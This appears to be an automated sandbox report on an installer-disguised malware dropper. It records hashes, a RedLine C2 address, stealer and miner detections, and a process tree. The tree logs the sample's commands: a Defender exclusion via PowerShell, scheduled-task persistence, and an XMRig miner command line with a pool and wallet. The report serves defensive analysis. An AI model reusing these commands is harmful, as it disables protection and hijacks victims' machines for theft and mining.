Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

09/09/2021, 17:41

210909-v9lgtabfhq 10

09/09/2021, 04:26

210909-e21nrsfee3 10

08/09/2021, 21:37

210908-1gnpcsfbc9 10

08/09/2021, 21:29

210908-1bx1vafbc5 10

08/09/2021, 13:52

210908-q6fd6shgdj 10

07/09/2021, 18:07

210907-wqa3eagcgr 10

Analysis

  • max time kernel
    467s
  • max time network
    470s
  • platform
    windows11_x64
  • resource
    win11
  • submitted
    08/09/2021, 21:29

Errors

Reason
Remote task has failed: Machine shutdown

General

  • Target

    setup_x86_x64_install.exe

  • Size

    2.9MB

  • MD5

    3f1f81101d0ce95fdfac97f5913cd662

  • SHA1

    8e615a64e4d72b08926242b7d73a608bdd7e9fce

  • SHA256

    90aa6a7c770f2c0f49596731c80fda7d044802dea9e905ff999b39cda5428407

  • SHA512

    a776c1f8636ef90d294becf8d09a45366463364026837c19e13227c1c5c9a6656b6fa525e0eec5a1a46997b6ef7066e958c02523a7c4538d046f8b2091145285

Malware Config

Extracted

Family

redline

Botnet

Jayson

C2

95.181.172.207:56915

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 1 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 18 IoCs
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 21 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • rl_trojan 10 IoCs

    redline stealer.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 2 IoCs
  • XMRig Miner Payload 1 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 64 IoCs
  • Checks BIOS information in registry 2 TTPs 8 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 11 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 4 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 64 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 21 IoCs
  • Checks processor information in registry 2 TTPs 64 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 42 IoCs
  • Modifies data under HKEY_USERS 58 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3956
    • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4812
      • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\setup_install.exe
        "C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\setup_install.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:4728
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3548
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3872
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue11b9d76a96506.exe
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3568
          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11b9d76a96506.exe
            Tue11b9d76a96506.exe
            5⤵
            • Executes dropped EXE
            PID:1072
            • C:\Users\Admin\AppData\Local\Temp\is-ODLOI.tmp\Tue11b9d76a96506.tmp
              "C:\Users\Admin\AppData\Local\Temp\is-ODLOI.tmp\Tue11b9d76a96506.tmp" /SL5="$301D4,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11b9d76a96506.exe"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:4620
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue11d7385a978cc.exe
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3564
          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11d7385a978cc.exe
            Tue11d7385a978cc.exe
            5⤵
            • Executes dropped EXE
            PID:936
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue1109eec571ac.exe /mixone
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4896
          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue1109eec571ac.exe
            Tue1109eec571ac.exe /mixone
            5⤵
            • Executes dropped EXE
            PID:4588
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 292
              6⤵
              • Program crash
              • Checks processor information in registry
              • Enumerates system info in registry
              • Suspicious behavior: EnumeratesProcesses
              PID:3532
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue11f251db82fb7b.exe
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3012
          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11f251db82fb7b.exe
            Tue11f251db82fb7b.exe
            5⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:8
            • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
              "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
              6⤵
              • Executes dropped EXE
              PID:2992
              • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
                "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
                7⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:1456
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                  8⤵
                    PID:3896
                    • C:\Windows\system32\schtasks.exe
                      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                      9⤵
                      • Creates scheduled task(s)
                      PID:4020
                  • C:\Users\Admin\AppData\Roaming\services64.exe
                    "C:\Users\Admin\AppData\Roaming\services64.exe"
                    8⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4112
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                      9⤵
                        PID:2984
                        • C:\Windows\system32\schtasks.exe
                          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                          10⤵
                          • Creates scheduled task(s)
                          PID:4868
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                        9⤵
                          PID:5800
                        • C:\Windows\explorer.exe
                          C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
                          9⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4144
                    • C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
                      "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
                      7⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1072
                      • C:\Users\Admin\AppData\Roaming\1562203.exe
                        "C:\Users\Admin\AppData\Roaming\1562203.exe"
                        8⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        PID:5588
                        • C:\Windows\system32\WerFault.exe
                          C:\Windows\system32\WerFault.exe -u -p 5588 -s 2316
                          9⤵
                          • Program crash
                          • Checks processor information in registry
                          • Enumerates system info in registry
                          • Suspicious behavior: EnumeratesProcesses
                          PID:5968
                      • C:\Users\Admin\AppData\Roaming\6360626.exe
                        "C:\Users\Admin\AppData\Roaming\6360626.exe"
                        8⤵
                        • Executes dropped EXE
                        • Suspicious behavior: SetClipboardViewer
                        PID:5768
                      • C:\Users\Admin\AppData\Roaming\2129644.exe
                        "C:\Users\Admin\AppData\Roaming\2129644.exe"
                        8⤵
                        • Executes dropped EXE
                        • Checks BIOS information in registry
                        • Checks whether UAC is enabled
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1840
                      • C:\Users\Admin\AppData\Roaming\5899289.exe
                        "C:\Users\Admin\AppData\Roaming\5899289.exe"
                        8⤵
                        • Executes dropped EXE
                        • Checks BIOS information in registry
                        • Checks whether UAC is enabled
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        PID:3176
                      • C:\Users\Admin\AppData\Roaming\1580734.exe
                        "C:\Users\Admin\AppData\Roaming\1580734.exe"
                        8⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1204
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 1204 -s 2392
                          9⤵
                          • Program crash
                          • Checks processor information in registry
                          • Enumerates system info in registry
                          • Suspicious behavior: EnumeratesProcesses
                          PID:3592
                    • C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe
                      "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"
                      7⤵
                      • Executes dropped EXE
                      PID:2892
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 2892 -s 280
                        8⤵
                        • Program crash
                        • Checks processor information in registry
                        • Enumerates system info in registry
                        • Suspicious behavior: EnumeratesProcesses
                        PID:5844
                    • C:\Users\Admin\AppData\Local\Temp\2.exe
                      "C:\Users\Admin\AppData\Local\Temp\2.exe"
                      7⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4692
                      • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                        8⤵
                        • Executes dropped EXE
                        PID:6020
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 6020 -s 208
                          9⤵
                          • Program crash
                          • Checks processor information in registry
                          • Enumerates system info in registry
                          • Suspicious behavior: EnumeratesProcesses
                          PID:5676
                    • C:\Users\Admin\AppData\Local\Temp\setup.exe
                      "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                      7⤵
                      • Executes dropped EXE
                      PID:4028
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 4028 -s 608
                        8⤵
                        • Program crash
                        • Checks processor information in registry
                        • Enumerates system info in registry
                        • Suspicious behavior: EnumeratesProcesses
                        PID:6068
                    • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                      "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                      7⤵
                      • Executes dropped EXE
                      PID:4900
                      • C:\Users\Admin\AppData\Local\Temp\is-4DPH0.tmp\setup_2.tmp
                        "C:\Users\Admin\AppData\Local\Temp\is-4DPH0.tmp\setup_2.tmp" /SL5="$10204,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                        8⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:5136
                        • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                          "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                          9⤵
                          • Executes dropped EXE
                          PID:5316
                          • C:\Users\Admin\AppData\Local\Temp\is-DNEBQ.tmp\setup_2.tmp
                            "C:\Users\Admin\AppData\Local\Temp\is-DNEBQ.tmp\setup_2.tmp" /SL5="$3023A,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                            10⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Drops file in Program Files directory
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of FindShellTrayWindow
                            PID:5472
                    • C:\Users\Admin\AppData\Local\Temp\3002.exe
                      "C:\Users\Admin\AppData\Local\Temp\3002.exe"
                      7⤵
                      • Executes dropped EXE
                      PID:1532
                      • C:\Users\Admin\AppData\Local\Temp\3002.exe
                        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
                        8⤵
                        • Executes dropped EXE
                        PID:5752
                    • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
                      "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
                      7⤵
                      • Executes dropped EXE
                      PID:5256
                    • C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
                      "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
                      7⤵
                      • Executes dropped EXE
                      PID:5388
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Tue11e4e580f2e8141a3.exe
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:4536
                • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                  Tue11e4e580f2e8141a3.exe
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:452
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:4292
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:3092
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:1444
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:4060
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:4972
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:1456
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:4780
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 4780 -s 28
                      7⤵
                      • Program crash
                      • Checks processor information in registry
                      • Enumerates system info in registry
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4808
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:2896
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:3936
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:5164
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:5624
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:2472
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:4732
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:2112
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:5456
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:3436
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:3168
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:3420
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:1332
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:980
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:2936
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:4408
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:876
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:5980
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 5980 -s 28
                      7⤵
                      • Program crash
                      • Checks processor information in registry
                      • Enumerates system info in registry
                      • Suspicious behavior: EnumeratesProcesses
                      PID:6100
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                    • Executes dropped EXE
                    PID:2844
                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                    6⤵
                      PID:3068
                    • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                      C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                      6⤵
                        PID:2288
                      • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                        6⤵
                          PID:4984
                        • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                          C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                          6⤵
                            PID:2892
                          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                            6⤵
                              PID:1488
                            • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                              C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                              6⤵
                                PID:3240
                              • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                6⤵
                                  PID:3768
                                • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                  C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                  6⤵
                                    PID:4512
                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                    6⤵
                                      PID:5576
                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                      C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                      6⤵
                                        PID:912
                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                        6⤵
                                          PID:5004
                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                          C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                          6⤵
                                            PID:5472
                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                            C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                            6⤵
                                              PID:5860
                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                              C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                              6⤵
                                                PID:776
                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                6⤵
                                                  PID:404
                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                  6⤵
                                                    PID:3496
                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                    6⤵
                                                      PID:5328
                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                      6⤵
                                                        PID:5568
                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                        6⤵
                                                          PID:3548
                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                          6⤵
                                                            PID:5092
                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                            6⤵
                                                              PID:5888
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5888 -s 28
                                                                7⤵
                                                                • Program crash
                                                                • Checks processor information in registry
                                                                • Enumerates system info in registry
                                                                PID:1432
                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                              6⤵
                                                                PID:5868
                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                6⤵
                                                                  PID:3912
                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                  6⤵
                                                                    PID:2876
                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                    6⤵
                                                                      PID:228
